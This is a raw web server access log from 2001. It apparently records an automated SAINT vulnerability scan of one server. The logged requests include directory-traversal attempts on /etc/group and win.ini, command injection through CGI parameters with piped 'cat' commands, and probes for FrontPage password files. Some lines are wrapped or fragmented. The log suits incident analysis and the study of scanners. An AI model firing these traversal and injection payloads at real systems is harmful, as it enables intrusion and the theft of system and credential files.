HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET
win/uploader.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:01 -0400] "GET
sample.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET
/scripts/c32web.exe/ChangeAdminPassword HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:02 -0400] "GET
/pccsmysqladm/incs/dbconnect.inc HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:03 -0400] "GET
/servlet/sunexamples.BBoardServlet HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:03 -0400] "GET
/_private/shopping_cart.mdb HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:03 -0400] "GET
/piranha/secure/passwd.php3 HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET
/scripts/cart32.exe/cart32clientlist HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET
/scripts/emurl/RECMAN.dll HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET
bin/guestbook.cgi HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:08:04 -0400] "GET
bin/guestbook.pl HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:08:05 -0400] "GET
HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:08:05 -0400] "GET
/site/eg/source.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:05 -0400] "GET
msql/index.html HTTP/1.0" 404 291
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET
bin/wais/wais.pl HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET
/ddrint/bin/ddicgi.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:06 -0400] "GET
HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:08:07 -0400] "GET
bin/db2www.exe HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:08:07 -0400] "GET
/search97cgi/vtopic HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:07 -0400] "GET
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET
bin/webplus.exe HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET
bin/webplus.cgi HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:08 -0400] "GET
/pbserver/pbserver.dll HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET
bin/statsconfig.pl HTTP/1.0" 404 287

/cgi-bin/sh
/cgi-bin/perl
/cgi-bin/perl.exe
/cgi-bin/tcsh
/cgi/cgi-dos/args.bat
/cgi-dos/args.cmd
/cgi-shl/win-c/shop/product.asp
/shop/product.ast

/cgi/cgi/cgi-bin/excite

/cgi-bin/w3/cgi-bin/wais.pl
/cgi-

/cgi-bin/db2www
/cgi-

/cgi-bin/webplus
/cgi/cgi/dsgw/bin/search

/cgi-

69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/wwwwais


HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/pi
HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:08:09 -0400] "GET /cgi-bin/postquery HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:08:10 -0400] "GET /cgibin/ncommerce3/ExecMacro/orderdspc.d2w/report
HTTP/1.0" 404
314
69warp87.newtel.com - - [14/Aug/2001:13:08:10 -0400] "GET /cgibin/websync.exe HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:08:10 -0400] "GET /globals.pl
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET /process_bug.cgi
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET
/cfdocs/expeval/exprcalc.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET
/cfdocs/expeval/openfile.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:11 -0400] "GET
/cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:12 -0400] "GET
/cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:12 -0400] "GET
/cfdocs/snippets/viewexample.cfm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:12 -0400] "GET
/CFIDE/Administrator/startstop.html HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:13 -0400] "GET
/iissamples/exair/howitworks/codebrws.asp HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:08:13 -0400] "GET
/iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:13 -0400] "GET
/iissamples/exair/howitworks/code.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET
/msadc/samples/selector/showcode.asp HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET
/_vti_bin/_vti_aut/Dvwssr.dll HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET //WEB-INF/
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:14 -0400] "GET /./WEB-INF/web.xml
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../winnt/win.ini HTTP/1.0" 400 413
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../etc/group HTTP/1.0" 400 409
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET
/_vti_pvt/service.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:15 -0400] "GET
/_vti_pvt/users.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "GET
/_vti_pvt/authors.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "GET
/_vti_pvt/administrators.pwd HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "PUT /saint.txt
HTTP/1.0" 400 370
69warp87.newtel.com - - [14/Aug/2001:13:08:16 -0400] "PUT /cgi-bin/saint.txt
HTTP/1.0" 400 370
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "GET
/msadc/msadcs.dll/ActiveDataFactory.Query HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "GET / HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "GET /?wp-cs-dump
HTTP/1.0" 401 468

69warp87.newtel.com - - [14/Aug/2001:13:08:17 -0400] "INDEX / HTTP/1.0" 401


468
69warp87.newtel.com - - [14/Aug/2001:13:08:18 -0400] "GET
/exec/show/config/cr HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:18 -0400] "GET /pls HTTP/1.0" 401
468
69warp87.newtel.com - - [14/Aug/2001:13:08:18 -0400] "GET
/pls/admin_/gateway.htm HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:19 -0400] "GET
/_ncl_subjects.shtml HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:08:19 -0400] "GET /ncl_subjects.html
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:05 -0400] "GET
/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir
+c:+.exe HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:05 -0400]
"GET /."./."./winnt/win.ini%20.php3 HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:05 -0400] "GET /global.asp\
HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:06 -0400] "POST /cgibin/search.pl HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:06 -0400] "GET
/.nsf/../winnt/win.ini HTTP/1.0" 401 468
69warp87.newtel.com - - [14/Aug/2001:13:09:38 -0400] "GET
/n0nexi5tent_fi1e.html HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:38 -0400] "GET
/n0nexi5tent_fi1e.html HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:38 -0400] "GET / HTTP/1.0" 200
8883
69warp87.newtel.com - - [14/Aug/2001:13:09:39 -0400] "GET /%2E%2E/%2E%2E/%2E
%2E/%2E%2E/%2E%2E/etc/group
HTTP/1.0" 400 372
69warp87.newtel.com - - [14/Aug/2001:13:09:39 -0400] "GET /%2E%2E/%2E%2E/%2E
%2E/%2E%2E/%2E%2E/winnt/win.ini
HTTP/1.0" 400
376
69warp87.newtel.com - - [14/Aug/2001:13:09:39 -0400] "GET
/../../../../../etc/group HTTP/1.0" 400 352
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400] "GET
/../../../../../winnt/win.ini HTTP/1.0" 400 356
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400] "GET
/../../../../..winnt/win.ini HTTP/1.0" 400 355
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400]
"GET /.../.../.../.../.../etc/group HTTP/1.0" 404 295
69warp87.newtel.com - - [14/Aug/2001:13:09:40 -0400]
"GET /.../.../.../.../.../winnt/win.ini HTTP/1.0" 404 299
69warp87.newtel.com - - [14/Aug/2001:13:09:41 -0400] "GET
/../../../../../etc/group HTTP/1.0" 400 352
69warp87.newtel.com - - [14/Aug/2001:13:09:41 -0400] "GET
/../../../../../winnt/win.ini HTTP/1.0" 400 356
69warp87.newtel.com - - [14/Aug/2001:13:09:41 -0400] "GET /cgibin/webdist.cgi?distloc=;/bin/cat%20/etc/group
HTTP/1.0" 40
4 285
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgi-bin/campas?
%0acat%0a/etc/group%0a HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgibin/htmlscript?../../../../../../etc/group
HTTP/1.0" 404 28
4
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgibin/php.cgi?/etc/group HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:42 -0400] "GET /cgibin/pfdispaly?../../../../../../etc/group
HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgibin/pfdispaly.cgi?../../../../../../etc/group
HTTP/1.0" 404

287
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/viewsource?../../../../../../etc/group
HTTP/1.0" 404 2
85
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET /cgi-bin/htsearch?
exclude=%60/etc/group%60 HTTP/1.0" 404
282
69warp87.newtel.com - - [14/Aug/2001:13:09:43 -0400] "GET
/cgi-bin/infosrch.cgi?cmd=getdoc&db=man&fname=|/bin/cat%20/etc/g
roup HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgibin/faxsurvey?/bin/cat%20/etc/group HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgibin/counterfiglet/nc/f=;cat%20/etc/group
HTTP/1.0" 404 308
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET /cgibin/calendar_admin.pl?config=|cat%20/etc/group|
HTTP/1.0" 4
04 291
69warp87.newtel.com - - [14/Aug/2001:13:09:44 -0400] "GET
/cgi-bin/calendar/calendar_admin.pl?config=|cat%20/etc/group| HT
TP/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi?data_dir=/etc/group%00 HTTP
/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/grou
p HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:09:45 -0400] "GET
/cgi-bin/netauth.cgi?cmd=show&page=../../../../../../../../../et
c/group HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET /cgi-bin/htgrep?
file=index.html&hdr=/etc/group
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET
/cgi-bin/YaBB.pl?board=news&action=display&num=../../../../../..
/../../etc/group%00 HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET
/search97cgi/vtopic?action=view&ViewTemplate=../../../../../etc/
group HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:46 -0400] "GET /cgibin/multihtml.pl?multi=/etc/group%00html
HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/query?
mss=../config HTTP/1.0" 404 279
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/ssi//%2e
%2e/%2e%2e/%2e%2e/%2e%2e/etc/group
HTTP/1.0" 40
0 378
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgi-bin/webplus?
script=/../../../../etc/group
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:47 -0400] "GET /cgibin/webplus.exe?script=/../../../../etc/group
HTTP/1.0" 404
285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgibin/webplus.cgi?script=/../../../../etc/group
HTTP/1.0" 404
285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET
/cgi-bin/mmstdod.cgi?ALTERNATE_TEMPLATES=|%20echo%20Content-Type
:%20text%2Fhtml%3Becho%20%20%3B%20cat%20%2Fetc%2Fgroup%00 HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgibin/bbs_forum.cgi?read=../../../../etc/group
HTTP/1.0" 404
287

69warp87.newtel.com - - [14/Aug/2001:13:09:48 -0400] "GET /cgibin/bbs/bbs_forum.cgi?read=../../../../etc/group


HTTP/1.0"
404 291
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET /cgi-bin/man-cgi?
%20/etc/group%20 HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET /opendir.php?
requesturl=/etc/group HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET
/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4
vZXRjL2dyb3VwAAo HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:49 -0400] "GET
/cgi-bin/talkback.cgi?article=../../../../../etc/group%00&action
=view&matchview=1 HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET /cgibin/cal_make.pl?p0=../../../../../etc/group%00
HTTP/1.0" 40
4 285
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET
/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/group HTTP
/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET /cgi-bin/test-cgi
HTTP/1.0" 403 286
69warp87.newtel.com - - [14/Aug/2001:13:09:50 -0400] "GET /cgibin/dumpenv.pl HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:51 -0400] "GET /cgi-bin/nph-testcgi HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:51 -0400] "GET /cgibin/wwwboard.pl HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:51 -0400] "GET /cgibin/wwwboard.cgi HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:09:54 -0400] "GET /cgi-bin/wwwboard
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/wrap
HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/wrap.pl
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/wrap.cgi
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:55 -0400] "GET /cgi-bin/finger
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/finger.pl
HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgibin/finger.cgi HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/phf
HTTP/1.0" 302 291
69warp87.newtel.com - - [14/Aug/2001:13:09:56 -0400] "GET /cgi-bin/handler
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/info2www
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgibin/textcounter.pl HTTP/1.0" 404 288
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/glimpse
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:57 -0400] "GET /cgi-bin/aglimpse
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/webgais
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/www-sql
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgibin/websendmail HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:09:58 -0400] "GET /cgi-bin/jj
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "GET /cgi-bin/count.cgi
HTTP/1.0" 404 283

69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "GET /cgibin/imagemap.exe HTTP/1.0" 404 286


69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "GET /catinfo HTTP/1.0"
404 273
69warp87.newtel.com - - [14/Aug/2001:13:09:59 -0400] "/cgibin/saint_test_cgi HTTP/1.0" 400 69warp87.newtel.com - - [14/Aug/2001:13:10:00 -0400] "GET /cgi-bin/csh
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:00 -0400] "GET /cgi-bin/bash
HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:10:00 -0400] "GET /cgi-bin/zsh
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/ash
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/ksh
HTTP/1.0" 404 277
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/sh
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:10:01 -0400] "GET /cgi-bin/perl
HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-bin/perl.exe
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-bin/tcsh
HTTP/1.0" 404 278
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgiwin/uploader.exe HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:02 -0400] "GET /cgi-dos/args.bat
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /cgi-dos/args.cmd
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /cgi-shl/win-csample.exe HTTP/1.0" 404 290
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /shop/product.asp
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:03 -0400] "GET /shop/product.ast
HTTP/1.0" 404 282
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET
/scripts/c32web.exe/ChangeAdminPassword HTTP/1.0" 404 304
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET
/pccsmysqladm/incs/dbconnect.inc HTTP/1.0" 404 297
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET
/servlet/sunexamples.BBoardServlet HTTP/1.0" 404 299
69warp87.newtel.com - - [14/Aug/2001:13:10:04 -0400] "GET
/_private/shopping_cart.mdb HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET
/piranha/secure/passwd.php3 HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET
/scripts/cart32.exe/cart32clientlist HTTP/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET
/scripts/emurl/RECMAN.dll HTTP/1.0" 404 290
69warp87.newtel.com - - [14/Aug/2001:13:10:05 -0400] "GET /cgibin/guestbook.cgi HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:10:06 -0400] "GET /cgibin/guestbook.pl HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:06 -0400] "GET /cgi-bin/excite
HTTP/1.0" 404 280
69warp87.newtel.com - - [14/Aug/2001:13:10:06 -0400] "GET
/site/eg/source.asp HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /cgi-bin/w3msql/index.html HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /cgi-bin/wais.pl
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET /cgibin/wais/wais.pl HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:07 -0400] "GET
/ddrint/bin/ddicgi.exe HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:10:08 -0400] "GET /cgi-bin/db2www
HTTP/1.0" 404 280

69warp87.newtel.com - - [14/Aug/2001:13:10:08 -0400] "GET /cgibin/db2www.exe HTTP/1.0" 404 284


69warp87.newtel.com - - [14/Aug/2001:13:10:08 -0400] "GET
/search97cgi/vtopic HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:11 -0400] "GET /cgi-bin/webplus
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /cgibin/webplus.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /cgibin/webplus.cgi HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET /dsgw/bin/search
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:12 -0400] "GET
/pbserver/pbserver.dll HTTP/1.0" 404 287
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgibin/statsconfig.pl HTTP/1.0" 404 288
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/wwwwais
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/pi
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:10:13 -0400] "GET /cgi-bin/postquery HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /cgibin/ncommerce3/ExecMacro/orderdspc.d2w/report
HTTP/1.0" 404
315
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /cgibin/websync.exe HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /globals.pl
HTTP/1.0" 404 276
69warp87.newtel.com - - [14/Aug/2001:13:10:14 -0400] "GET /process_bug.cgi
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:15 -0400] "GET
/cfdocs/expeval/exprcalc.cfm HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:10:15 -0400] "GET
/cfdocs/expeval/openfile.cfm HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:10:15 -0400] "GET
/cfdocs/exampleapp/docs/sourcewindow.cfm HTTP/1.0" 404 305
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET
/cfdocs/cfmlsyntaxcheck.cfm HTTP/1.0" 404 292
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET
/cfdocs/snippets/viewexample.cfm HTTP/1.0" 404 297
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET
/CFIDE/Administrator/startstop.html HTTP/1.0" 404 300
69warp87.newtel.com - - [14/Aug/2001:13:10:16 -0400] "GET
/iissamples/exair/howitworks/codebrws.asp HTTP/1.0" 404
306
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET
/iissamples/sdk/asp/docs/codebrws.asp HTTP/1.0" 404 302
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET
/iissamples/exair/howitworks/code.asp HTTP/1.0" 404 302
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET
/msadc/samples/selector/showcode.asp HTTP/1.0" 404 301
69warp87.newtel.com - - [14/Aug/2001:13:10:17 -0400] "GET
/_vti_bin/_vti_aut/Dvwssr.dll HTTP/1.0" 404 294
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET //WEB-INF/
HTTP/1.0" 404 275
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET /./WEB-INF/web.xml
HTTP/1.0" 404 281
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../winnt/win.ini HTTP/1.0" 400 414
69warp87.newtel.com - - [14/Aug/2001:13:10:18 -0400] "GET
/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../..
/../../../etc/group HTTP/1.0" 400 410
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET
/_vti_pvt/service.pwd HTTP/1.0" 404 286

69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET


/_vti_pvt/users.pwd HTTP/1.0" 404 284
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET
/_vti_pvt/authors.pwd HTTP/1.0" 404 286
69warp87.newtel.com - - [14/Aug/2001:13:10:19 -0400] "GET
/_vti_pvt/administrators.pwd HTTP/1.0" 404 293
69warp87.newtel.com - - [14/Aug/2001:13:10:20 -0400] "PUT /saint.txt
HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:10:20 -0400] "PUT /cgi-bin/saint.txt
HTTP/1.0" 400 371
69warp87.newtel.com - - [14/Aug/2001:13:10:20 -0400] "GET
/msadc/msadcs.dll/ActiveDataFactory.Query HTTP/1.0" 404
306
69warp87.newtel.com - - [14/Aug/2001:13:10:21 -0400] "GET / HTTP/1.0" 200
8883
69warp87.newtel.com - - [14/Aug/2001:13:10:21 -0400] "GET /?wp-cs-dump
HTTP/1.0" 200 8883
69warp87.newtel.com - - [14/Aug/2001:13:10:21 -0400] "INDEX / HTTP/1.0" 501
324
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET
/exec/show/config/cr HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET /pls HTTP/1.0" 404
269
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET
/pls/admin_/gateway.htm HTTP/1.0" 404 288
69warp87.newtel.com - - [14/Aug/2001:13:10:22 -0400] "GET
/_ncl_subjects.shtml HTTP/1.0" 404 285
69warp87.newtel.com - - [14/Aug/2001:13:10:23 -0400] "GET /ncl_subjects.html
HTTP/1.0" 404 283
69warp87.newtel.com - - [14/Aug/2001:13:11:00 -0400] "GET
